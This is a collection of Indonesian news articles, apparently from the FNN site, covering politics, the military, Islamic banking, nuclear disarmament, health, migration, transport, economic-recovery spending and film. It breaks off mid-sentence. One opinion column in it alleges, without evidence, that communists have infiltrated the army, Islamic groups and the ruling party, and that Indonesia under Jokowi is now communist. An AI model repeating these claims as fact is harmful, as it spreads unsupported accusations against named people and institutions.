Jakarta, FNN - Staf Khusus Presiden bidang Komunikasi, Fadjroel Rachman, menekankan Presiden Joko Widodo menolak wacana jabatan presiden tiga periode maupun perpanjangan masa jabatan presiden selama tiga tahun hingga 2027. "Dalam sikap politik, sekali lagi ini sikap politik Presiden Joko Widodo, menolak. Jadi kalau ingin mengatakan, tidak, tidak, tidak terhadap wacana tiga periode dan juga tidak, tidak, tidak terhadap masa perpanjangan jabatan presiden," ujar Fadjroel Rachman di Jakarta, Selasa, saat menjawab pertanyaan wartawan tentang wacana jabatan presiden tiga periode dan perpanjangan masa jabatan presiden tiga tahun yang belakangan mengemuka. . Ia mengatakan meskipun Jokowi menolak kedua wacana itu namun perdebatan wacana tersebut di publik tidak mungkin dihentikan, karena hal itu merupakan ciri negara demokrasi dan dilindungi konstitusi pada pasal 28 UUD 1945. "Jadi kita tidak boleh hentikan itu, termasuk kita tidak boleh mencampuri urusan dari MPR, karena pasal 3 (UUD 1945) mengatakan adalah wewenang mereka untuk mengubah menetapkan UUD kan, termasuk pasal 37 (UUD 1945) terkait wewenang MPR," jelasnya. Ia menekankan bahwa Jokowi ingin mengatakan, apa yang menjadi hak konstitusional warga negara wajib dilindungi dan dipromosikan pemerintah, dan apa yang menjadi wewenang dari lembaga-lembaga tinggi negara, harus dihormati. (anr, sws).

Mengapa Gatot Nurmantyo Meragukan Ideologi Prajurit TNI Saat Ini?

Jakarta, FNN -- Pengamat komunikasi politik dan militer dari Universitas Nasional (Unas) Selamat Ginting menjelaskan, Tentara Nasional Indonesia (TNI) merupakan benteng terakhir pengawal ideologi Pancasila. TNI menjadi salah satu profesi di Indonesia yang wajib memegang teguh ideologi Pancasila, bukan ideologi lainnya di luar Pancasila. "Jadi, TNI sudah belajar banyak dari pengkhianatan ideologi lain, termasuk penghianatan PKI (Partai Komunis Indonesia) pada tahun 1948 dan 1965. Sehingga TNI berusaha keras untuk tidak lagi disusupi ideologi lain, termasuk ideologi komunis," kata kandidat doktor ilmu politik Unas tersebut di Jakarta, Rabu (29/9). Dia mengemukakan hal tersebut terkait pernyataan mantan Panglima TNI Jenderal TNI (Purn) Gatot Nurmantyo yang mengindikasikan terjadinya penyusupan di tubuh TNI pada sebuah webinar bertema 'TNI vs PKI' di Jakarta pada Ahad (26/9) malam WIB. Gatot merespons soal hilangnya tiga patung penumpang PKI di Museum Darma Bakti Kostrad, Gambir, Jakarta Pusat. Patung itu adalah Jenderal AH Nasution, Mayjen Soeharto, dan Kolonel Sarwo Edhie Wibowo. "Jangankan komunis, ketika partai politik dan kelompok lainnya ragu-ragu menerima atau menolak ide Nasakom (Nasionalis, Agama, dan Komunis), (TNI) Angkatan Darat dengan tegas menolak Nasakom (yang dicetuskan Sukarno), karena bertentangan dengan Pancasila. Itu pula yang dimaksud politik TNI adalah politik negara," ungkap Ginting. Pimpinan TNI tahun 1962-1965, lanjut Ginting, terutama Menteri Koordinator (Menko) Kepala Staf Angkatan Bersenjata (KSAB) Jenderal TNI AH Nasution, serta Menteri/Panglima Angkatan Darat Letjen TNI Ahmad Yani dan kawan-kawan (dkk) menolak tegas nasakomisasi, ideologi komunis serta rencana pembentukan Angkatan Kelima, yakni buruh tani dipersenjatai. Mereka kemudian menjadi korban kebiadaban PKI. "Belajar dari pengalaman buruk pengkhianatan PKI tersebut, TNI tentu berusaha keras akan menolak ideologi lain. Sehingga menjadi tanda tanya besar jika ada yang meragukan ideologi prajurit TNI saat ini," kata dosen Fakultas Ilmu Sosial dan Ilmu Politik (FISIP) Unas itu. Ginting tidak sependapat dengan tudingan Gatot Nurmantyo. Alasannya, kata dia, ada dua hal. Pertama, para prajurit telah diikat dalam sumpah ketika dilantik menjadi prajurit TNI. Dalam sumpah dan janji pertamanya, dinyatakan akan setia kepada NKRI (Negara Kesatuan Republik Indonesia) yang berdasarkan Pancasila dan Undang-Undang Dasar 1945. Kedua, para prajurit TNI diikat dengan tujuh jalan hidupnya yang disebut Sapta Marga. Di marga pertama dan kedua, jelas-jelas disebutkan tentang Pancasila. Di marga pertama, sebagai warga Negara Kesatuan Republik Indonesia yang bersendikan Pancasila. Kemudian di marga kedua, sebagai patriot Indonesia, pendukung serta pembela ideologi negara yang bertanggung jawab dan tidak mengenal menyerah. "Mengapa Gatot Nurmantyo tidak mengacu pada dua hal tersebut? Apalagi Gatot pernah menjadi Panglima Kostrad (Komando Cadangan Strategis Angkatan Darat), KSAD (Kepala Staf Angkatan Darat) dan Panglima TNI. Mengapa dia meragukan penerusnya di TNI saat ini?" kata Ginting. Setelah peristiwa pemberontakan Gerakan 30 September 1965 (G30S)/PKI, menurut Ginting, dalam rekrutmen prajurit TNI, sangat ketat menyeleksi penilaian mental ideologi. Bahkan ditelusuri hingga garis keturunan orang tua dan kakek neneknya agar bersih diri dari ideologi lain, selain Pancasila. Dia menjelaskan, para perwira tinggi aktif saat ini, umumnya justru lahir setelah peristiwa kelam tahun 1965. Dia mencontohkan Panglima Kostrad Letjen TNI Dudung Abdurachman, misalnya. Kelahiran November 1965 dan dilahirkan dari keluarga besar TNI di Kodam Siliwangi. Kodam Siliwangi dikenal sebagai Kodam yang sangat antikomunis sejak bernama Divisi Siliwangi dipimpin Kolonel (Infanteri) AH Nasution. “Ingat, ujung tombak penumpasan pemberontakan PKI tahun 1948 di Madiun dan sekitarnya adalah Siliwangi,” kata Ginting yang malang melintang sebagai wartawan senior dalam liputan pertahanan keamanan negara itu. Selain itu, Kostrad dan Resimen Para Komando Angkatan Darat (RPKAD) menjadi ujung tombak penumpasan G30S/PKI tahun 1965. Cikal bakal RPKAD yang kini bernama Komando Pasukan Khusus (Kopassus) itu juga berasal dari Kodam Siliwangi. Sejumlah batalyon Kostrad di Jawa Barat, umumnya juga berasal dari Kodam Siliwangi yang dialihkan kepada Kostrad. Ginting menjelaskan, Kepala Staf Angkatan Laut (KSAL) Laksamana TNI Yudo Margono, Kepala Staf Angkatan Udara (KSAU) Marsekal TNI Fadjar Prasetyo, seperti juga Letjen TNI Dudung Abdurachman merupakan kelahiran 1965, ketika TNI sedang menumpas pemberontakan PKI. Adapun Panglima TNI Marsekal TNI Hadi Tjahjanto dan KSAD Jenderal TNI Andika Perkasa, tergolong masih bayi pada saat terjadinya pemberontakan PKI. Kedua perwira tinggi itu pun berasal dari keluarga besar TNI. Mereka lahir di mana tidak ada tempat bagi ideologi di luar Pancasila yang diterapkan sangat keras oleh pemerintahan Orde Baru. "Cita-cita awal Orde Baru adalah menjalankan Pancasila secara murni dan konsekuen. Itu nilai baik yang diterapkan Orde Baru setelah belajar dari kegagalan Demokrasi Terpimpin atau Orde Lama," ungkap Ginting. Dia menerangkan, Sapta Marga yang menjadi pedoman prajurit TNI dicetuskan pada 5 Oktober 1951, saat TNI merayakan ulang tahun yang keenam. Kode etik prajurit TNI tersebut, dimaksudkan untuk mencegah perpecahan di dalam tubuh TNI, terutama dari ideologi lain, selain Pancasila. (sws)

Penjelasan Dudung Tidak Rasional. Waspadai Gerakan KGB!

Oleh: Tjahja Gunawan SETELAH diungkap mantan Panglima Jend TNI (Purn) Gatot Nurmantyo, akhirnya Panglima Kostrad Letjen TNI Dudung Abdurachman, memberikan penjelasan soal raibnya diorama peristiwa G30S/PKI di Museum Darma Bhakti Kostrad. Patung tiga tokoh yang hilang di Museum Darma Bhakti Kostrad itu terdiri dari Jenderal TNI AH Nasution (Menko Hankam Kepala Staf Angkatan Bersenjata/KASAB), Mayjen TNI Soeharto (Panglima Kostrad), dan Kolonel Inf Sarwo Edhie Wibowo (Komandan RPKAD). Patung tersebut sebelumnya ada di dalam museum, tapi setelah Dudung Abdurrachman menjadi Pangkostrad tiba-tiba hilang. Alasannya, diambil oleh penggagasnya yakni Letjen TNI (Purn) AY Nasution, yang menjabat Pangkostrad pada tahun 2011 sampai 2012. Patung diorama tersebut menggambarkan adegan Mayjen Soeharto menerima laporan dari Komandan Resimen Para Komando RPKAD Kol. Sarwo Edhie Wibowo pada peristiwa G 30 S-PKI tahun 1965. Sementara Jend AH Nasution, yang selamat dari upaya penculikan PKI, duduk tidak jauh dari Soeharto dan Sarwo Edhie Wibowo. Benarkah patung tersebut, diambil oleh penggagasnya, Letjen TNI (Purn) AY Nasution sebagaimana disebutkan Pangkostrad Dudung Abdurrachman? Menurut saya, alasan Pangkostrad ini sangat tidak masuk akal dan terkesan dicari-cari. Membuat patung diorama dan ditempatkan di institusi TNI yakni Museum Darma Bhakti Kostrad, sudah sendirinya itu sudah menjadi milik negara. Pembuatan patung tersebut tentu sudah direncanakan matang dan pasti dibiayai dengan uang negara walaupun mungkin saja inisiatif pertamanya datang dari Pangkostrad waktu itu,.AY. Nasution. Katakanlah pembuatan patung itu murni inisiatif dan dibiayai AY Nasution, pertanyaannya mengapa patung diorama tersebut ditempatkan di Kostrad. Mengapa tidak disimpan di rumah pribadinya?. Jika itu aset pribadi, mengapa mantan Pangkostrad Letjen TNI (Purn) AY Nasution baru memintanya sekarang? Masih banyak pertanyaan lain dibalik berbagai alasan yang disampaikan Dudung Abdurrachman. Nah kalau Dudung sebagai Pangkostrad benar-benar tidak melupakan peristiwa sejarah pemberontakan G30S/PKI tahun 1965 sebagaimana penjelasan tertulisnya, seharusnya patung diorama tiga jenderal itu bisa dihadirkan kembali di Museum Darma Bhakti Kostrad. Jika tidak bisa diwujudkan, maka tidak salah kalau mantan Panglima TNI Gatot Nurmantyo menyebutkan bahwa TNI AD telah disusupi PKI. Pernyataan Gatot semakin memperkuat dugaan bahwa gerakan komunis sebenarnya tidak hanya menyusup ke TNI AD, tetapi juga masuk ke institusi lainnya termasuk ke Ormas-Ormas Islam Menurut Prof. Taufik Bahaudin, Guru Besar Universitas Indonesia, komunis gaya baru (KGB) terus bergerak dan menyusup ke berbagai lembaga pemerintahan, parpol dan sebagainya. Mereka tidak tampil langsung, namun menggunakan kepanjangan tangan melalui buzzer. KGB juga menyusup ke ormas-ormas Islam. "Banyak pejabat di Indonesia mendukung komunis gaya baru yang mengadopsi Partai Komunis China (PKC). Secara ideologi komunis tetapi menjalankan ekonomi secara kapitalis, " ungkap Taufik dalam acara bertajuk “Jelas, Semua Menjurus Bangkitnya Komunis Gaya Baru” yang ditayang melalui channel YouTube UI Watch beberapa waktu lalu. *Komunis Gaya Baru* Profesor Taufik yang juga Presiden Direktur National Leadership Center (NLC) itu menambahkan keberadaan komunis gaya baru di Indonesia berdasarkan hasil riset mahasiswa untuk mengambil gelar doktor di UI. “Komunis gaya baru ditampilkan olahan PKC, bungkusan di luar kapitalis tapi masih komunis seperti pengendalian satu partai, ada centra komite. Ciri yang jelas adalah mereka sangat anti agama. PKI gaya baru berorientasi ke PKC,” jelas Direktur Center Pengembangan Talenta dan Brainware UI ini. Sesungguhnya bagi PDIP sebagai partai penguasa saat ini, PKC sudah tidak asing lagi. PKC dan PDIP sudah akrab dan bahkan sudah menjalin kerja sama sejak lama. Tidak hanya PDIP, bahkan Presiden Jokowi pernah menerima kunjungan Song Tao, penasihat Hubungan Luar Negeri Presiden Republik Rakyat Cina (RRC) sekaligus Kepala Politbiro Hubungan Internasional PKC atau International Liaison Department of the CPC (IDCPC) di Istana Bogor, 20 September 2019. Setelah bertemu Jokowi, Song Tao menghadiri undangan makan siang dari Ketua Umum PDIP, Megawati Soekarnoputri. Acara ramah tamah ini berlangsung di Hotel Mandarin Oriental, kawasan Bundaran Hotel Indonesia, Jakarta Pusat. PDIP dan PKC memang sudah lama merajut kerja sama dan saling berkunjung. Bahkan sebelum Jokowi menjadi Presiden, sebagaimana dilaporkan Liputan6, sejumlah pengurus PKC datang ke Kantor DPP PDIP di bilangan Lenteng Agung, Jakarta Selatan. Delegasi PKC yang dipimpin perwakilan Politbiro Li Yuan Chao disambut langsung oleh Megawati dan sejumlah pengurus teras PDIP kala itu. Kunjungan ini dalam rangka kerja sama antarpartai sekaligus agar hubungan Cina dan Indonesia lebih erat. Selain itu, PDIP juga ingin belajar sistem pengkaderan dari PKC serta pengalaman dan gagasan di bidang-bidang lain. "Kedatangan delegasi dari PKC ini sangat berarti selain untuk melakukan pembelajaran mengenai pembangunan kader akar rumput, juga untuk pengentasan kemiskinan," ujar Andreas Pareira, sebagaimana di kutip Merdeka. Tahun 2013, giliran PDIP yang mengirimkan delegasinya ke Cina. Mereka datang setelah diundang. Partai berlambang banteng bermoncong putih ini memberangkatkan 15 orang kader yang dipimpin Eva Kusuma Sundari. Eva, sebagaimana dikutip BeritaSatu, menjelaskan para kader PDIP akan mempelajari banyak hal dari PKC selama kunjungan yang berlangsung hingga 23 Oktober 2013. Megawati juga pernah ke Cina. Pada 12 Oktober 2015. Mengutip berita Kompas, dia meresmikan Gedung Pusat Kerja Sama Indonesia-Cina yang diberi nama Sukarno House. Saat itu dia didampingi para petinggi PKC wilayah Shenzhen. Dari sejumlah rangkaian peristiwa dan momen keakraban PDIP dengan PKC, tidak heran kalau beberapa waktu lalu Megawati menyampaikan ucapan khusus atas ulang tahun PKC. Dengan demikian, Indonesia dibawah Presiden Jokowi yang didukung PDIP, kiniudah seperti China yakni menganut paham ideologi komunis dan menjalankan ekonomi secara kapitalis. Wajar pula kalau kemudian simbol-simbol perlawanan terhadap PKI seperti diantaranya Patung Diorama tiga jenderal TNI mendadak hilang dari Museum Darma Bhakti Kostrad. Sangat boleh jadi nanti pengganti patung diorama di Kostrad adalah Patung Soekarno yang pernah dibangun Dudung Abdurrachman pada 7 Februari 2020, ketika dia menjabat sebagai Gubernur Akmil di Magelang, Jateng. Tidak salah memang membangun patung proklamator Soekarno. Tapi fakta sejarah menyebutkan bahwa proklamator itu dua orang yakni Soekarno-Hatta yang waktu itu juga sebagai Presiden dan Wakil Presiden RI-1. Mengapa yang dibangun di Akmil Magelang hanya patung Soekarno? Di luar itu, yang jelas karir Dudung Abdurrachman (56) meroket. Setelah membangun patung Soekarno, Dudung langsung dilantik jadi Pangdam Jaya. Di posisi itu, Dudung yang juga kerap dijuluki jenderal baliho itu, hanya perlu waktu 10 bulan. Bulan Mei 2021 lalu, dia diangkat jadi Pangkostrad. Bahkan sekarang, dia digadang-gadang sebagai KSAD menggantikan Jend TNI Andika Perkasa. Terbukti bahwa kedekatan Dudung Abdurrachman dengan Ketua Umum PDIP Megawati Soekarnoputri, ikut mendongkrak karir militer Dudung Abdurrachman. *** *) Wartawan senior FNN

BSI Perluas Ekosistem Ekonomi Digital Lewat Dewan Masjid Indonesia

Jakarta, FNN - Bank Syariah Indonesia memperluas ekosistem ekonomi halal melalui digitalisasi di masjid/mushola dengan menggandeng Dewan Masjid Indonesia. “Masjid menyimpan potensi sangat besar dalam meningkatkan kesejahteraan umat sekaligus menjadi pilar penting bagi terwujudnya cita-cita pemerintah untuk menjadikan Indonesia sebagai pusat ekonomi syariah di Indonesia,” kata Direktur Utama Bank Syariah Indonesia Hery Gunardi saat Penandatanganan Nota Kesepahaman Bank Syariah Indonesia dengan Dewan Masjid Indonesia secara daring di Jakarta, Rabu. Hery menyampaikan bahwa Dewan Masjid Indonesia menaungi masjid-masjid seluruh tanah air dalam rangka membangun karakter yang baik bagi umat muslim serta membangun perekonomian bangsa melalui pembangunan masjid dan mushola yang jumlahnya mencapai 741.991 masjid/mushola. Menurutnya, masjid tidak hanya berperan sebagai tempat ibadah melainkan juga sebagai pusat peradaban bagi umat Islam yang salah satunya dimaknai dengan peningkatan ekonomi umat melalui pelayanan zakat, infak, dan sedekah. “Seluruh elemen termasuk ekosistem syariah bertransformasi ke arah digital, sehingga potensi ekonomi kerakyatan salah satunya melalui ekosistem Ziswaf yang berpotensi mungkin sekitar Rp500 triliun yang dapat dikelola dengan baik dan secara transparan,” ujar Hery. Melalui penandatanganan Nota Kesepahaman, BSI berkomitmen untuk menyediakan layanan bagi masjid-masjid di bawah naungan DMI. Pertama, menyediakan layanan QRIS untuk mempermudah penerimaan kas dan Ziswaf dari jamaah secara cash less. Kedua, menyediakan rekening pengelolaan dana masjid lengkap dengan layanan internet banking dan jasa perbankan syariah lainnya, serta aplikasi digital masjid yang menghadirkan kebutuhan informasi informasi ibadah maupun kajian masjid. Informasi tersebut nantinya dapat diakses oleh pengurus maupun jamaah masjid secara real-time kapan pun dan dimana pun. “Keberadaan BSI tentunya merupakan bagian dari satu kesatuan ekosistem dalam kehidupan masyarakat Indonesia. Kedepannya kami berharap dapat bersinergi dengan Dewan Masjid Indonesia di bawah dukungan Kementerian Agama dalam mengoptimalkan pengelolaan dana masjid,” tutur Hery. Ketua Umum Dewan Masjid Indonesia Jusuf Kalla pada kesempatan yang menyambut baik upaya BSI untuk memperluas ekosistem digital di masjid/mushola dan berharap melalui kerjasama ini dapat meningkatkan peran BSI untuk mengembangkan potensi syariah. “Kerja sama ini sangat penting kita jalankan demi kebakan bersama, demi kebaikan jamaah, demi meningkatkan harkat kemasyarakatan kita. Diperlukan kejujuran yang luar biasa jika kita ingin menjalankan syariat ini,” kata Jusuf Kalla. (mth)

Indonesia Minta Perjanjian Nonproliferasi Nuklir Ditegakkan

Jakarta, FNN - Indonesia meminta Perjanjian Nonproliferasi Nuklir (NPT) agar terus ditegakkan di tengah harapan dunia untuk terbebas dari ancaman senjata nuklir. Menteri Luar Negeri Retno Marsudi menyampaikan hal itu dalam pertemuan High-level Plenary Meeting on the International Day for the Total Elimination of Nuclear Weapons yang diselenggarakan setiap tahun sesuai mandat Majelis Umum Perserikatan Bangsa-Bangsa (PBB). “Perlombaan senjata nuklir dan power projection (unjuk kekuatan -red) harus dihentikan agar tidak merusak integritas dan kredibilitas dari traktat nonproliferasi,” kata Retno ketika menyampaikan keterangan pers secara virtual pada Rabu. Menurut Retno, hingga saat ini masih terdapat 13.000 senjata nuklir yang mengancam perdamaian dan keamanan dunia. Adanya kemungkinan senjata itu jatuh ke tangan aktor nonnegara (non-state actors), kata dia, harus menjadi landasan atau alasan kuat bagi semua negara untuk mempercepat perlucutan senjata nuklir. “Dunia tidak akan pernah merasa aman sampai seluruh senjata tersebut dimusnahkan,” kata Menlu Retno. Sebagai koordinator Gerakan Non Blok dan pendukung utama penghapusan total senjata nuklir, Indonesia juga menyoroti pentingnya penguatan arsitektur perlucutan senjata nuklir. Pemberlakuan Perjanjian Pelarangan Senjata Nuklir tahun ini merupakan tonggak sejarah yang sangat penting, yang memberikan kerangka hukum untuk mendelegitimasi senjata nuklir. “Pemusnahan senjata nuklir adalah satu-satunya cara untuk melindungi penghuni dan masa depan bumi ini. Dan saya tegaskan kalau dunia tidak akan mendapatkan manfaat dari keberadaan senjata nuklir,” tutur Retno. Upaya untuk mendorong isu perlucutan senjata nuklir telah lama dilakukan bahkan sebelum pandemi COVID-19. “Indonesia berpandangan bahwa COVID-19 tidak boleh membiarkan masyarakat internasional kehilangan fokus pada isu yang amat penting ini,” kata Menlu Retno. (mth)

Obesitas Tingkatkan Risiko Meninggal Akibat Serangan Jantung

Jakarta, FNN - Mereka dengan kondisi obesitas memiliki kemungkinan sekitar 1,5 hingga 2,5 kali lebih tinggi meninggal karena serangan jantung, kata dokter spesialis jantung dan pembuluh darah dari Universitas Indonesia, Dr. dr. Nahar Taufiq, SpJP (K). "Obesitas membuat Anda lebih cenderung memiliki tekanan darah tinggi, kadar kolesterol, resistensi insulin serta penyempitan dan penyumbatan arteri. Oleh karena itu, orang obesitas memiliki kemungkinan antara 1,5 hingga 2,5 kali lebih besar untuk meninggal karena serangan jantung daripada orang dengan IMT normal," kata dia seperti dikutip dari siaran pers, Rabu. Obesitas bisa diketahui dengan mengukur lingkar perut atau indeks massa tubuh (IMT) ketika mencapai angka lebih dari 25. Menurut Nahar, kondisi obesitas meningkatkan risiko sejumlah penyakit akibat penumpukan lemak yang berlebih pada tubuh dapat mempengaruhi organ dalam menjalankan fungsinya. The American Heart Association merekomendasikan untuk melakukan setidaknya 150 menit aktivitas aerobik sepanjang minggu untuk menjaga kesehatan kardiovaskuler yang baik. Nahar merekomendasikan melakukan aktivitas aerobik, salah satunya Zumba. Kegiatan ini bisa merangsang detak jantung dan pernapasan selama latihan, meningkatkan laju jantung, meningkatkan curah jantung dengan pernafasan yang regular dan meningkatkan aliran darah. "Tentunya untuk memulai olahraga diperlukan pemanasan dan jangan memforsir terlalu keras di awal. Diskusikan juga dengan dokter untuk mendapat rekomendasi kapasitas fungsional jantung yang sesuai kebutuhan tubuh," tutur dia. Penyanyi sekaligus instruktur dan Brand Ambassador Zumba di Indonesia Denada Tambunan termasuk sosok yang menyadari betapa mengkhawatirkan kondisi obesitas yang dapat berakibat pada penyakit jantung. Menurut dia, gaya hidup yang buruk dan kurang berolahraga membuat banyak orang secara tidak sadar mengalami obesitas yang menjadi pemicu awal dari penyakit-penyakit mematikan. "Menjaga kesehatan tubuh terutama jantung menjadi prioritas saya karena jantung merupakan salah satu organ terpenting bagi tubuh," demikian tutur Denada. (mth)

Ratusan Imigran di Meksiko Berebut Permohonan Suaka

Tapachula, FNN - Sekitar 1.000 imigran berbondong-bondong ke stadion olahraga di Meksiko selatan pada Selasa untuk memenuhi janji temu untuk permintaan suaka di negara itu. Antrean panjang terjadi akibat lonjakan permohonan suaka yang melebihi kapasitas di badan pengungsi nasional Meksiko. Ribuan imigran lain telah berkumpul di kota Tapachula yang berbatasan dengan Guatemala. Para imigran itu sering kali menunggu berbulan-bulan sebelum mendapat respons atas permohonan suaka mereka. Kondisi itu menimbulkan ketidakpastian dan tidak dapat ditoleransi oleh banyak imigran yang tidak memiliki pekerjaan atau uang. Sejumlah besar imigran Haiti pergi ke Del Rio, Texas, pada September dan membentuk tempat pengungsian darurat bagi 14.000 orang di sebelah utara perbatasan dengan Meksiko. Para pejabat Meksiko kini mendesak imigran Haiti, yang kembali ke Meksiko dari AS karena takut dideportasi ke negaranya, untuk melengkapi permohonan suaka mereka di kota Tapachula. Beberapa ratus imigran sudah mengantre sejak pukul 05.00 pagi pada Selasa. Beberapa ratus lainnya bergabung pada siang hari untuk memastikan mereka mendapatkan janji temu yang dipesan lewat sistem hingga akhir tahun. Komisi Bantuan Pengungsi Meksiko (COMAR) mengatakan para imigran, yang sudah mempunyai janji temu sampai 20 Oktober namun tidak muncul antara Selasa dan Kamis, akan kehilangan kesempatan mereka. Kebanyakan pencari suaka yang berkerumun di stadion berasal dari Haiti, terbanyak kedua setelah Honduras dalam permohonan suaka di Meksiko pada 2021. Seorang perwakilan dari badan urusan pengungsi PBB (UNHCR) mengatakan kepada para imigran bahwa proses verifikasi janji temu akan memberi ruang bagi orang lain. Para imigran itu menunggu dalam antrean yang mengular di tempat parkir stadion. "Tidak ada tempat baru. Begitu ada ruang, mereka akan memberikan informasi yang sesuai," kata perwakilan UNHCR itu. Namun, beberapa orang telah ditolak permohonannya. Chenet (38 tahun), seorang imigran Haiti yang enggan menyebut nama belakangnya, mengatakan bahwa dia membayar 6.000 peso (sekitar Rp4,3 juta) kepada seseorang di kota Tapachula untuk mendapatkan janji temu permohonan suaka. Saat itu dia tidak menyadari bahwa itu adalah penipuan. "Mereka bilang sekarang ini tidak ada apa-apa, tidak ada janji temu," kata Chenet. (mth)

Erick: Integrasi Transportasi Jabodetabek Tumbuhkan Usaha Sekitarnya

Jakarta, FNN - Menteri BUMN Erick Thohir menyakini integrasi moda transportasi Jabodetabek akan menumbuhkan usaha-usaha ekonomi di sekitarnya. "Saya yakin dengan adanya integrasi moda transportasi Jabodetabek ini juga maka usaha-usaha di sekitarnya akan tumbuh kembali," ujar Erick Thohir dalam peresmian integrasi transportasi Jabodetabek yang dilakukan secara daring di Stasiun Tebet Jakarta, Rabu. Menteri BUMN melihat bagaimana Stasiun Tebet yang terintegrasi tersebut tidak hanya memberikan layanan kepada warga sekitar, tetapi juga bagi UMKM yang sangat terdampak karena pandemi Covid-19. "Tentu ada dua hal yang kita bisa memberikan atau membuka mata banyak pihak, bahwa kalau kita berkolaborasi, kerjanya pakai hati, dan kita serius mengerjakannya Insya Allah ini bisa membuktikan bahwa Jakarta bisa kembali dibenahi dan bangkit," katanya. Dia juga menambahkan bahwa melalui kerja nyata, maka Indonesia dan ibukota Jakarta bisa menjawab dan menepis semua persepsi negatif yang terbentuk selama ini. "Tentu yang terpenting juga bagaimana kita bisa membentuk ekosistem yang sehat, bagaimana secara korporasinya jalan dan secara pelayanan publik terus ditingkatkan," kata Erick Thohir. Erick juga menambahkan bahwa Kementerian BUMN terus mendukung program-program yang ada di Gubernur DKI Jakarta dan juga disinergikan oleh Menteri Perhubungan. Erick Thohir bersama Menteri Perhubungan Budi Karya Sumadi dan Gubernur DKI Jakarta Anies Baswedan menghadiri kegiatan peresmian integrasi transportasi Jabodetabek di Jakarta, Rabu. Agenda peresmian meliputi pencanangan kartu dan aplikasi JakLingko, Pencanangan pembangunan Jembatan Penyeberangan Multiguna (JPM) dan revitalisasi Stasiun Sudirman, Penataan kawasan stasiun tahap 2, dan penandatanganan dokumen integrasi transportasi Jabodetabek. Turut hadir Wakil Menteri BUMN II Kartika Wirjoatmodjo, Direktur Utama PT KAI Didiek Hartantyo, Direktur Utama PT MRT Jakarta, William P. Sabandar serta sejumlah pejabat terkait lainnya. (mth)

Menko Airlangga: Realisasi PEN Capai Rp 404,7 Triliun

Jakarta, FNN - Menteri Koordinator Bidang Perekonomian Airlangga Hartarto menyebutkan realisasi anggaran pemulihan ekonomi nasional (PEN) hingga 24 September 2021 telah mencapai Rp 404,7 triliun atau 54,3 persen dari pagu Rp 744,77 triliun. “Pemerintah mendorong pemulihan ekonomi melalui program PEN dengan pagu sebesar Rp 744,77 triliun,” katanya dalam acara CIMB Niaga Forum Indonesia Bangkit di Jakarta, Rabu. Secara rinci, realisasi ini meliputi bidang kesehatan Rp 100,5 triliun atau 46,8 persen dari pagu Rp 214,96 triliun dengan manfaat penggunaan rumah sakit darurat Asrama Haji Pondok Gede dan pembagian paket obat untuk masyarakat. Kemudian biaya perawatan untuk 477,44 ribu pasien, insentif bagi 1,07 juta nakes pusat dan santunan kematian bagi 397 nakes, pengadaan 105 juga dosis vaksin serta bantuan iuran JKN bagi 29,29 juta orang. Untuk perlindungan sosial, terealisasi Rp 186,64 triliun atau 62,2 persen dari pagu Rp 186,64 triliun meliputi PKH bagi 9,9 juta KPM, Kartu Sembako bagi 17 juta KPM, BST bagi 10 juta KPM dan BLT Desa bagi 5,62 juta KPM. Kemudian Kartu Prakerja bagi 5,22 juta orang, bantuan subsidi kuota internet bagi 36,1 juta penerima, subsidi listrik bagi 32,6 juta penerima, BSU bagi 4,61 juta pekerja dan bantuan beras bagi 28,8 juta KPM. Untuk dukungan UMKM dan korporasi terealisasi Rp68,38 triliun atau 42,1 persen dari pagu Rp 162,4 triliun meliputi BPUM bagi 12,71 juta usaha, IJP bagi 2,12 juta UMKM dan 30 korporasi, serta penempatan dana bank dengan total penyaluran kredit Rp 428,52 triliun bagi 5,36 juta debitur. Kemudian subsidi bunga KUR bagi 4,96 huta debitur dan Non KUR bagi 5,79 juta debitur, PMN bagi Hutama Karya Rp 6,21 triliun dan bantuan PKL kepada 555 usaha. Untuk program prioritas terealisasi Rp60,7 triliun atau 51,5 persen dari pagu Rp 117,94 triliun meliputi padat karya K/al bagi 1,05 juta tenaga kerja, pariwisata, ketahanan pangan dan fasilitas pinjaman daerah Rp10 triliun melalui PT SMI. Terakhir, untuk insentif usaha terealisasi Rp59,08 triliun atau 94 persen dari pagu Rp62,83 triliun meliputi PPh 21 DTP bagu 79.602 pemberi kerja, PPh Final UMKM DTP bagi 124.209 UMKM, pembebasan PPh 22 Impor bagi 9.433 WP, pengurangan angsuran PPh 25 bagu 57.307 WP. Kemudian pengembalian pendahuluan PPN bagi 2.149 WP, penurunan tarif PPh Badan bagi seluruh WP, PPN DTP Properti bagi 763 penjual, PPnBM mobil untuk enam penjual serta Bea Masuk DTP atas nilai impor Rp 940 miliar. (mth)

"Seperti Dendam, Rindu Harus Dibayar Tuntas" Wakili Indonesia di Tokyo

Jakarta, FNN - Film karya Edwin berjudul "Seperti Dendam, Rindu Harus Dibayar Tuntas" atau “Vengeance Is Mine, All Others Pay Cash” menjadi satu-satunya film yang mewakili Indonesia di Festival Film Internasional Tokyo (TIFF) 2021. "Seperti Dendam, Rindu Harus Dibayar Tuntas" akan tayang di seksi World Focus yang jadi pemutaran perdana film ini di Negeri Sakura. World Focus menyajikan karya-karya terbaru dari negara-negara lain yang belum pernah dirilis di Jepang, juga memutar film Spanyol, Amerika Tengah dan Amerika Selatan lewat kolaborasi dengan Festival Film Latin Beat. Detail pemutaran film "Seperti Dendam, Rindu Harus Dibayar Tuntas" di Festival Film Tokyo akan diumumkan pada awal Oktober. Film yang diadaptasi dari novel Eka Kurniawan ini dibintangi oleh Marthino Lio (berperan sebagai Ajo Kawir), Ladya Cheryl (Iteung), Reza Rahadian (Budi Baik), Ratu Felisha (Jelita) dan Sal Priadi (Tokek). Bercerita tentang Ajo Kawir, seorang jagoan yang tak takut mati. Hasratnya yang besar untuk bertarung didorong oleh sebuah rahasia — ia impoten. Ketika berhadapan dengan seorang petarung perempuan tangguh bernama Iteung, Ajo babak belur hingga jungkir balik — dia jatuh cinta. Selain "Seperti Dendam, Rindu Harus Dibayar Tuntas", World Focus juga menayangkan "The Box" dari Lorenzo Vigas, "Libertad" dari Clara Roquet, "Veneciafrenia" dari Álex de la Iglesia, "Il Buco" dari Michelangelo Frammartino, "Murina" dari Antoneta Alamat Kusijanović, "Swan Song" dari Todd Stephens dan "Terrorizers" dari Ho Wi Ding. Pada Agustus 2021, film Edwin berhasil membawa pulang Golden Leopard, hadiah utama dari sesi kompetisi internasional (Concorso Internazionale) yang diadakan oleh Locarno International Film Festival 2021. Edwin merupakan orang Indonesia pertama yang memenangkan Golden Leopard, penghargaan tertinggi yang pernah dimenangkan oleh sutradara kaliber dunia seperti Stanley Kubrick, Mike Leigh, Jafar 